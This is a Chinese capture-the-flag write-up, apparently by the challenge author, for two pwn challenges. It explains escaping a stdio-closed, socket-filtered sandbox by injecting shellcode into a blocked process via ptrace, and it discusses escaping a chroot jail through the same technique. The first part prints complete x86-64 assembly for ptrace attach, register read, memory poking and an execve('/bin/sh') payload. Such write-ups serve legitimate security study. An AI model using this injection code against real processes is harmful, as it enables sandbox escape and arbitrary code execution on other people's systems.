ezshellcode
灵感来源
在鹏城杯题目ezthree中,shellcode关闭了所有的文件描述符
并且由于chroot的存在,无法再通过/dev打开这些标准输入输出,因此很多常规的shellcode都不再适用
一旦close(1),pwntools交互会直接进入EOF,尽管TCP链接实际上并没有断开,因此盲注也同样无法使用
最后想出的方法是创建一个socket通信,读取flag并发送至VPS,最后成功解出
在祥云杯题目sandboxheap中,出题人没有使用常规的seccomp建立沙箱,而是利用ptrace去监听题目进程
监听每一个syscall,获取rax并且作判断,从而实现了基于ptrace的syscall过滤
解法是出题人在监听的父进程中放置了后门,因此可以关闭部分沙箱检测
结合二者,如果既没有标准输入输出,同时还不能使用socket,那么该怎么做
解题思路
题目内容非常简单,仅仅是关闭了输入输出,并且禁止了socket相关的syscall
但是,既然题目存在需要输入shellcode部分,那么在read阻塞时,标准输入一定是开启的状态,否则无法正常读取
那么,先开启一个进程,将其阻塞在read时
同时,再开启一个进程,利用ptrace去attach先前的进程,将shellcode注入至RIP处,就可以实现一个几乎无限制的shellcode执行
下面是exp
global _start
section .text
_start:
mov eax, 399 ; save pid
mov dword [rsp + 0x4], eax
mov edi, 0x10 ; ptrace(PTRACE_ATTACH, pid, NULL, NULL)
mov esi, dword [rsp + 0x4]
xor rdx, rdx
xor r10, r10
mov eax, 101
syscall
mov edi, -1 ; wait(NULL)
xor esi, esi
xor edx, edx
xor r10, r10
mov eax, 61
syscall
mov edi, dword [rsp + 0x4]
call get_rip
mov qword [rsp + 0x8], rax
mov dword [rsp], 0
mov edi, dword [rsp + 0x4]
loop: mov eax, dword [rsp]
mov rbx, qword [rsp + 0x8]
lea rsi, [rbx + rax * 0x8]
mov rdx, qword [shell + rax * 0x8]
test rdx, rdx
je next
call poke
add dword [rsp], 1
jmp loop
next: mov edi, 0x11 ; ptrace(PTRACE_DETACH, pid, NULL, NULL);
mov esi, dword [rsp + 0x4]
xor rdx, rdx
xor r10, r10
mov eax, 101
syscall
exit: mov al, 231
syscall
;; Functions
sleep:
sub rsp, 0x10 ; sleep(time);
mov qword [rsp], rdi
mov qword [rsp + 0x8], 0
xor rdi, rdi
xor rsi, rsi
mov rdx, rsp
mov r10, rsp
mov eax, 230
syscall
add rsp, 0x10
ret
get_rip:
sub rsp, 0xd8
mov rsi, rdi ; ptrace(PTRACE_GETREGS, pid, NULL, regs)
mov edi, 0xC
xor rdx, rdx
mov r10, rsp
mov eax, 101
syscall
mov rax, qword [rsp + 0x80]
add rsp, 0xd8
ret
poke:
push rdi
mov r10, rdx
mov rdx, rsi
mov rsi, rdi
mov edi, 0x5
mov eax, 101
syscall
pop rdi
ret
shell:
xor rdx, rdx
mov rbx, 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov eax, 0x3b
syscall
后记
尽管在现在的kernel中,有了ptrace保护机制,即/proc/sys/kernel/yama/ptrace_scope
当该值被设置为1时,只能允许非特权用户ptrace跟踪自己的子进程
即使是属于自己的进程,如果不是子进程,仍然没有权限去attach,借此来实现一定程度上的避免ptrace进程注入
但是,由于现在更加提倡特权用户而不是直接使用root
因此想要使用gdb来调试,大部分情况下都是通过sudo或者将/proc/sys/kernel/yama/ptrace_scope重置
对于大部分用户而言,将/proc/sys/kernel/yama/ptrace_scope重置显得更加方便,适用性也更广泛
因此ptrace进程注入仍然有其存在的意义
ctf_chroot
灵感来源
在某次出题中,由于出的是Kernel-Pwn提权,题目运行在qemu虚拟机中
因此就没有使用ctf_xinted来部署题目,而是使用简单的一个socat来部署,减少服务器占用
但是最后被赵总打回并重新修改为ctf_xinted部署
理由是即使是运行在qemu中,也仍然有逃逸的风险,并且不便于部署动态flag
那么不禁思考,ctf_xinted会不会也有逃逸的可能?
ctf_xinted使用的是xinted结合chroot来实现部署以及隔离,将用户shell限制在了/home/ctf下
并且/home/ctf目录以及子目录全都属于root,ctf用户无权添加文件来写入任何文件,包括exp
但是,对于大部分Pwn题而言,最终不管是想要shell还是orw,都一定可以做到劫持程序流
而在劫持后,做ROP或者执行一段自己的shellcode都并不是非常困难的事情,因此仍然可以实现任意函数的执行,类似于执行exp
那么,最后的困难就是如何绕过chroot了
chroot逃逸研究
首先,最直接的方法就是提权,只要能获得root权限,那么之后想要逃逸出chroot环境就非常简单了
只需要进入一个新的目录并chroot到此处,原来的文件描述符就成功的离开了chroot环境,这也是chroot jail最经典的逃逸方法
但是对于大部分现在linux发行版而言,大部分已披露的提权方法都很难进行提权,更何况是在chroot环境下这种各处受限制的情况
因此提权这种方法虽然直接,但是难度很大,暂时可以不用考虑
对于非root的逃逸,目前看来就只剩下了ptrace进程注入以及遗留的文件描述符
当然,CVE-2016-2781不失为一种手段,但是由于该方法必须要有一个有效并且打开的的pts才能使用,显然不适用于xinted守护进程
而文件描述符的遗留在标准的ctf_xinted情况下并不存在,因此最后仅剩下的ptrace注入
在很多情况下,ctf_xinted的docker里面并不是纯净的
比如出题人开启gdb在里面进行调试来查看远程偏移,或者进入题目的proc路径下寻找一些信息来作为hint
对于这些情况而言,都需要一个ctf权限的shell,尽管非常少见,但仍然不失为一种可能
解题思路
几乎根ezshellcode如出一辙,仅仅添加了一个爆破pid部分
对于每一个成功attach上的pid,都可以通过访问根目录下的flag或者/proc,来确定是否逃逸成功(注意不要attach到自身以及自身的shell)
附件中没有可供attach的进程,可以使用runuser -u ctf sleep infinity &创建一个
(暂不提供exp)
参考文章
[1] Balázs Bucsay https://github.com/earthquake/chw00t